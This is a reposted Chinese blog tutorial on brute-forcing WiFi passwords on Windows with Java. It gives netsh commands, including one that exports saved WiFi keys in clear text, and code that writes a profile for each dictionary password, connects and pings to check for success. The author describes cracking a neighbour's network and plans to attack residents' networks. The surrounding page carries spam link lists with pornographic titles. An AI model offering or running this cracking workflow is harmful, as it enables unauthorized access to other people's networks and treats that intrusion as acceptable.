一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|JavaScript|易語言|

服務器之家 - 編程語言 - Java教程 - Java編程實現暴力破解WIFI密碼的方法分析

Java編程實現暴力破解WIFI密碼的方法分析

2021-06-26 12:04Joker_Ye Java教程

這篇文章主要介紹了Java編程實現暴力破解WIFI密碼的方法,結合具體實例形式分析了java暴力破解WiFi密碼的原理、操作步驟、實現技巧與相關注意事項,需要的朋友可以參考下

本文實例講述了java編程實現暴力破解wifi密碼的方法。分享給大家供大家參考,具體如下:

開始進入正題。在網上找了很多wifi破解工具,都是linux平臺下用的,然后還不支持虛擬機裝linux。因為很多筆記本裝虛擬機都識別不了內置網卡。所以得把系統刻到u盤,然后用u盤啟動。但是我現在窮得連一條內褲都沒有了,哪來的u盤啊。于是就決定自己寫,而且還得用java寫,寫了我還得在windows上運行。

一、準備工作

首先你得需要一臺能連wifi的電腦,
然后你的電腦得支持java環境,
最后你周圍得有無線網絡。

ok,話不多說,說開擼,老夫就要開擼。于是網上找到了windows下cmd無線網絡操作的相關命令。如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 列出所有可用wifi
netsh wlan show networks mode=bssid
// 添加配置文件
netsh wlan add profile filename=file_name
// 連接wifi
netsh wlan connect name=ssid_name
// 導出配置文件
netsh wlan export profile key=clear
// 列出配置文件
netsh wlan show profile
// 刪除配置文件
netsh wlan delete profile name=file_name
// 列出接口
netsh wlan show interface
// 開啟接口
netsh interface set interface "interface name" enabled

首先需要寫配置文件,方便待會使用。首先我們可以看看配置文件張啥樣,導出配置文件看看就知道了。打開命令行,輸入這我這篇文章中,主要會用到前四個命令,其他的命令就當給各位做拓展了。

?
1
netsh wlan export profile key=clear

就導出了配置文件,注意,這兒的配置文件默認導出在cmd執行的當前路徑,如下,

我導出的文件就在 c:\users\admin 下面,可以看到文件都是wifi.xml方式。如 tp-link_5410.xml ,隨便打開一個我們可以看到xml文件的具體內容,但是有一些內容是我們不需要的,我們需要的是下面這個樣子

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0"?>
<wlanprofile xmlns="http://www.microsoft.com/networking/wlan/profile/v1">
<name>ssid_name</name>
<ssidconfig>
  <ssid>
    <name>ssid_name</name>
  </ssid>
</ssidconfig>
<connectiontype>ess</connectiontype>
<connectionmode>auto</connectionmode>
<msm>
  <security>
    <authencryption>
      <authentication>auth_type</authentication>
      <encryption>aes</encryption>
      <useonex>false</useonex>
    </authencryption>
    <sharedkey>
      <keytype>passphrase</keytype>
      <protected>false</protected>
      <keymaterial>password</keymaterial>
    </sharedkey>
  </security>
</msm>
<macrandomization xmlns="http://www.microsoft.com/networking/wlan/profile/v3">
  <enablerandomization>false</enablerandomization>
</macrandomization>
</wlanprofile>

二、掃描wifi

其中 ssid_name 是待會我們會用到的wifi名稱, auth_type 是wifi的加密方式, password 是我們會暴力破解的密碼變量。

ok,背景交代得差不多了,可以開干了。首先掃描附近的wifi,返回所有wifi的信息,包括ssid、加密方式、信號強度(信號太弱的,我們就不進行破解了,破解了也沒啥用)。掃描其實就是執行一個cmd命令的問題,先封裝一個cmd執行器吧。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
 * 執行器
 *
 * @param cmd   cmd命令
 * @param filepath 需要在哪個目錄下執行
 */
private static list<string> execute(string cmd, string filepath) {
  process process = null;
  list<string> result = new arraylist<string>();
  try {
    if (filepath != null) {
      process = runtime.getruntime().exec(cmd, null, new file(filepath));
    } else {
      process = runtime.getruntime().exec(cmd);
    }
    bufferedreader breader = new bufferedreader(new inputstreamreader(process.getinputstream(), "gbk"));
    string line = null;
    while ((line = breader.readline()) != null) {
      result.add(line);
    }
  } catch (ioexception e) {
    e.printstacktrace();
  }
  return result;
}
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
 * 列出所有信號較好的ssid
 *
 * @return 所有ssid
 */
public static list<ssid> listssid() {
  list<ssid> ssidlist = new arraylist<ssid>();
  string cmd = command.show_networks;
  list<string> result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    // todo 整合信息
  }
  return ssidlist;
}

然后掃描周圍wifi信息,并返回相關信息

三、生成配置文件

ok,接下來我們就可以開始針對每個不同的ssid生成不同的配置文件了,生成文件整個過程就是根據每個不同的密碼生成一個配置文件。大概代碼如下

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
 * 配置文件生成器
 */
public class profilegenerator {
  private string ssid = null;
  private string passwrodpath = null;
  private executorservice threadpool = executors.newfixedthreadpool(4);
  public profilegenerator(string ssid, string passwrodpath) {
    this.ssid = ssid;
    this.passwrodpath = passwrodpath;
  }
  /**
   * 生成配置文件
   */
  public void genprofile() {
    list<string> passwordlist = null;
    int counter = 0;
    outer:
    while (true) {
      int start = counter * connector.bath_size;
      int end = (counter + 1) * connector.bath_size - 1;
      passwordlist = fileutils.readline(passwrodpath, start, end);
      if (passwordlist != null && passwordlist.size() > 0) {
        // 生成配置文件
        for (string password : passwordlist) {
          genthread genthread = new genthread(ssid, password);
          threadpool.execute(genthread);
        }
      } else {
        break outer;
      }
      counter++;
    }
  }
}
class genthread implements runnable {
  private string ssid = null;
  private string password = null;
  genthread(string ssid, string password) {
    this.ssid = ssid;
    this.password = password;
  }
  public void run() {
    string profilecontent = profile.profile.replace(profile.wifi_name, ssid);
    profilecontent = profilecontent.replace(profile.wifi_password, password);
    fileutils.writetofile(connector.profile_temp_path + "\\" + password + ".xml", profilecontent);
  }
}

需要哪些密碼可以自己現在網上找一些字典來跑,建議順序是 常用弱口令 => 字典面 => 隨機密碼(到了隨機密碼這兒,意義也不大了)。這兒給出一個常見弱口令的 。反正我只用這個弱口令破解過一個wifi。這兒為了加快文件生成速度,我開啟了多線程。個人實際感受,如果只是幾千到幾萬個的話,其實多線程不多線程,并沒有多大區別,真正的區別在于后面嘗試連接的時候。

四、遍歷校驗配置文件

接下來就是最耗時的一步了,一個個密碼去校驗。關鍵代碼如下

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/**
 * 校驗wlan配置文件是否正確
 * <p>
 * 校驗步驟為:
 * ---step1 添加配置文件
 * ---step3 連接wifi
 * ---step3 ping校驗
 */
public synchronized boolean check(string ssid, string password) {
  system.out.println("check : " + password);
  try {
    string profilename = password + ".xml";
    if (addprofile(profilename)) {
      if (connect(ssid)) {
        thread.sleep(50);
        if (ping()) {
          return true;
        }
      }
    }
  } catch (interruptedexception e) {
    e.printstacktrace();
  }
  return false;
}
/**
 * 添加配置文件
 *
 * @param profilename 添加配置文件
 */
private static boolean addprofile(string profilename) {
  string cmd = command.add_profile.replace("file_name", profilename);
  list<string> result = execute(cmd, connector.profile_temp_path);
  if (result != null && result.size() > 0) {
    if (result.get(0).contains("添加到接口")) {
      return true;
    }
  }
  return false;
}
/**
 * 連接wifi
 *
 * @param ssid 添加配置文件
 */
private static boolean connect(string ssid) {
  boolean connected = false;
  string cmd = command.connect.replace("ssid_name", ssid);
  list<string> result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    if (result.get(0).contains("已成功完成")) {
      connected = true;
    }
  }
  return connected;
}
/**
 * ping 校驗
 */
private static boolean ping() {
  boolean pinged = false;
  string cmd = "ping " + connector.ping_domain;
  list<string> result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    for (string item : result) {
      if (item.contains("來自")) {
        pinged = true;
        break;
      }
    }
  }
  return pinged;
}

兩點釋疑:

1. 為什么需要sleep(50)? 因為在連接后,電腦沒有立即反應過來,此時去ping的話,就算密碼正確,都會ping不成功。所以需要sleep。我破解的時候sleep(1000)的,還沒測試50行不行。

2. 為什么需要ping網站? 因為在第二步連接的時候,不管有沒有連接成功,都會出現 ‘已成功完成xx連接' 的字樣。所以沒辦法,只有用ping來校驗,不過我相信一定能夠優化的。

這一步我開啟了多線程,去驗證,有人說為什么用多線程,明明驗證方法都 synchronized 了,我想說的是,單線程的話,之間總會有間隙的,所以為了壓榨那一點點時間,我用了多線程。

五、連接成功

ok,至此,為師已將畢生功力傳授給你了,你出去就說是三年經驗了。呸,說錯了,至此,整個流程大概就已經出來了,接下來就run你的程序吧。等待密碼的破解。

我一共在我家周圍瞄上了三個信號看起來還可以的wifi。用這個程序跑了40多秒,開了一個wifi的密碼 12345678。耶成功了終于可以用了。

然后根據密碼,把自家路由器設置一個橋接模式。家里處處都有網了。

五、或者放棄

或者,你也可以放棄。愉快地用了一晚上過后,我第二天早上起來發現網斷了,原來那個網不存在了,但是到了中午又有了。我估計是底商閉店了,就斷電了,網就沒了。

于是想要撬開一個住戶的網,跑了兩個看起來信號比較好的網絡,都以失敗告終!!!因為密碼字典不夠強大。網上下過幾個字典生成器,都不能用。算了吧先湊合用著現在的網絡,等我有空了,寫個字典生成器,來撬開。

希望本文所述對大家java程序設計有所幫助。

原文鏈接:https://blog.csdn.net/hj7jay/article/details/83541627

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 91亚洲专区| 福利国模私拍视频在线观看 | 日本精品久久久久中文字幕 1 | 亚洲男人的天堂在线 | 赤坂丽女医bd无删减在线观看 | 亚洲欧洲综合 | ts视频在线观看 | 44444色视频在线观看 | 啊哈~嗯哼~用力cao我小说 | 亚洲国产精品综合一区在线 | 闺蜜的样子小说安沁在线阅读 | 舔穴吸奶 | 久热在线这里只有精品7 | 4虎影视国产在线观看精品 4s4s4s4s色大众影视 | 视频一区国产精戏刘婷 | 色老板在线免费观看 | 韩国最新理论片奇忧影院 | 秋霞网毛片 | 国产高清在线视频一区二区三区 | 精品欧美小视频在线观看 | 美日韩一区二区三区 | 欧美特黄一级大片 | 91久久偷偷做嫩草影院电 | 国产一区二区在线免费观看 | 天堂资源在线8 | 91免费精品国自产拍在线不卡 | 好吊色永久免费视频大全 | 精品国产免费观看一区高清 | 香蕉精品国产高清自在自线 | 女bbbbxxxx视频 | 国产精品污双胞胎在线观看 | 色播艾小青国产专区在线播放 | 亚洲gogo人体大胆西西安徽 | 欧美性一区二区三区 | 福利一区三区 | 日韩精品一区二区三区中文在线 | 青青草原在线 | 四虎永久在线精品免费影视 | 白丝女榨干蹂躏我 | 欧美视频在线一区二区三区 | 国产高清在线精品一区二区三区 |